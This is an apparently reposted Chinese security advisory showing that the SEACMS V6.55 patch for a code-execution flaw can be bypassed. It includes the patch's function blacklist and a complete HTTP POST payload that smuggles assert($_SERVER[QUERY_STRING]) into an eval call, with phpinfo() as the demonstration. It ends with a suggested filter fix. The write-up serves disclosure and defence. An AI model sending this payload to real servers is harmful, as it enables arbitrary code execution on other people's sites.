安全路透社
当前位置:安全路透社 > 网络转载 > 正文

海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

概述

前几天我们公布了海洋CMS(SEACMS)的一个0day漏洞,官方据称是在10月2日发布的V6.55版本中进行了修复,而实际上漏洞并没有被实质性修复,而是仍然存在任意代码执行的问题。

V6.55修复方式

新版本在main.class.php的parseIf函数中增加了黑名单的方式来过滤:

foreach($iar as $v){
            $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
        }
        $iar = $iarok;  

首先用黑名单过滤的方式来解决问题就没有找准漏洞根源,而且这个黑名单也是非常不全面的。

绕过方法

由于php存在大量可执行代码的函数,仅仅过滤上面这些是远远不够的,这里甚至连最常用的assert都没有过滤。对于引入shellcode的地方,仅仅过滤了$_GET、$_POST、$_COOKIE、$_REQUEST,然而HTTP请求数据可以进来的地方还有很多,例如$_SERVER。我们随便构造一个请求即可绕过:

POST /seacms/search.php?phpinfo(); HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 201
Connection: keep-alive
Upgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

最终在eval中执行的代码是:

if(assert($_SERVER[QUERY_STRING]));/*xxxxx

而在php中$_SERVER[QUERY_STRING])会被等同于$_SERVER[‘QUERY_STRING’])执行,这样就不用考虑绕过addslashes的问题了。然后就是把要执行的代码放在query_string中即可。

海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

修复方案

要不就按照你们的修复方案继续补充黑名单,要不就还按照我的修复方案在echoSearchPage()函数中增加一条过滤语句:

if(strpos($searchword,'{searchpage:')) exit;

*本文作者:天择实习生,转载请注明来自 FreeBuf.COM

未经允许不得转载:安全路透社 » 海洋CMS(SEACMS)新版本V6.55补丁仍可被绕过执行任意代码

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册